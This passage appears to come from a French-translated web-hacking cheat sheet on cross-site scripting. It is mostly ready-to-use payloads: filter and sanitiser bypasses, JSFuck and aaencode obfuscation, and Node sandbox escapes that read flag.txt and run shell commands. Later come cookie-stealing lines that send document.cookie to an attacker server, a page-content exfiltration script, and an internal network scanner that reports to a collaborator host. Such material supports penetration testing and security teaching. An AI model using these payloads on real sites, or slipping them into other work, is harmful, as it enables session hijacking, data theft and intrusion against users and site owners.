Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Appel arbitraire de fonction (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Il existe du JS code qui utilise des données contrôlées de manière non sûre par un attaquant comme location.href. Un attaquant peut abuser de cela pour exécuter du code JS arbitraire.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
Vous y trouverez une explication détaillée de ce que DOM vulnerabilities sont, comment elles sont provoquées, et comment les exploiter.
De plus, n’oubliez pas qu’à la fin du post mentionné vous pouvez trouver une explication sur DOM Clobbering attacks.
Escalade de Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a Self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
Un utilisateur peut éventuellement partager son profil avec l’administrateur et si le Self-XSS est à l’intérieur du profil de l’utilisateur et que l’administrateur y accède, il déclenchera la vulnérabilité.
Session Mirroring
Si vous trouvez un Self-XSS et que la page web dispose d’un session mirroring for administrators, par exemple permettant aux clients de demander de l’aide et, pour que l’administrateur puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa propre session.
Vous pourriez faire en sorte que l’administrateur déclenche votre Self-XSS et voler ses cookies/session.
Autres contournements
Contournement de la sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Unicode normalisé
Vous pouvez vérifier si les valeurs reflétées sont unicode normalized sur le serveur (ou côté client) et abuser de cette fonctionnalité pour bypasser les protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
En raison de RoR mass assignment des guillemets sont insérés dans le HTML et la restriction des guillemets est alors contournée et des champs additionnels (onfocus) peuvent être ajoutés à l’intérieur de la balise.
Exemple de formulaire (from this report), si vous envoyez le payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
La paire “Key”,“Value” sera renvoyée comme ceci :
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Ensuite, l’attribut onfocus sera inséré et XSS se produit.
Combinaisons spéciales
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Si vous découvrez que vous pouvez inject headers in a 302 Redirect response vous pouvez essayer de make the browser execute arbitrary JavaScript. Ce n’est pas trivial : les navigateurs modernes n’interprètent pas le corps de la réponse HTTP si le code de statut HTTP est 302, donc un simple payload de cross-site scripting est inutile.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Lettres, chiffres et points uniquement
Si vous pouvez indiquer le callback que javascript va execute limité à ces caractères. Read this section of this post pour savoir comment abuser de ce comportement.
Valid <script> Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Types de scripts pour XSS
(Depuis here) Alors, quels types peuvent être indiqués pour charger un script ?
<script type="???"></script>
La réponse est :
- module (par défaut, rien à expliquer)
- webbundle: Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permet d’améliorer la syntaxe d’import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ce comportement a été utilisé dans this writeup pour remapper une bibliothèque vers eval afin d’en abuser — cela peut déclencher XSS.
- speculationrules: Cette fonctionnalité sert principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne comme suit :
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Types de contenu Web permettant XSS
(Extrait de here) Les types de contenu suivants peuvent exécuter du XSS dans tous les navigateurs :
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? pas dans la liste mais je pense avoir vu ceci dans un CTF)
- application/rss+xml (désactivé)
- application/atom+xml (désactivé)
Dans d’autres navigateurs, d’autres Content-Types peuvent être utilisés pour exécuter du JS arbitraire, voir : https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Type de contenu xml
Si la page renvoie un content-type text/xml, il est possible d’indiquer un namespace et d’exécuter du JS arbitraire :
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Modèles de remplacement spéciaux
Lorsque quelque chose comme "some {{template}} data".replace("{{template}}", <user_input>) est utilisé. L’attaquant pourrait utiliser special string replacements pour tenter de contourner certaines protections : "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Par exemple dans this writeup, ceci a été utilisé pour échapper une chaîne JSON à l’intérieur d’un script et exécuter du code arbitraire.
Cache Chrome vers XSS
XS Jails Escape
Si vous n’avez qu’un ensemble limité de caractères à utiliser, regardez ces autres solutions valides pour les problèmes de XSJail :
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Si tout est undefined avant d’exécuter du code non fiable (comme dans this writeup) il est possible de générer des objets utiles « à partir de rien » pour abuser de l’exécution arbitraire de code non fiable :
- En utilisant import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accéder à
requireindirectement
According to this les modules sont encapsulés par Node.js dans une fonction, comme ceci :
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Ainsi, si depuis ce module nous pouvons appeler une autre fonction, il est possible d’utiliser arguments.callee.caller.arguments[1] depuis cette fonction pour accéder à require :
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De la même manière que dans l’exemple précédent, il est possible d’use error handlers pour accéder au wrapper du module et obtenir la fonction require :
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation et contournement avancé
- Différentes obfuscations sur une seule page : https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- JSFuck plus sophistiqué : https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS common payloads
Plusieurs payloads en 1
Iframe Trap
Faire naviguer l’utilisateur sur la page sans quitter un iframe et capturer ses actions (y compris les informations envoyées dans les formulaires) :
Récupérer les cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Vous ne pourrez pas accéder aux cookies depuis JavaScript si le flag HTTPOnly est défini dans le cookie. Mais ici vous avez quelques moyens de contourner cette protection si vous êtes suffisamment chanceux.
Voler le contenu de la page
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Trouver des adresses IP internes
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
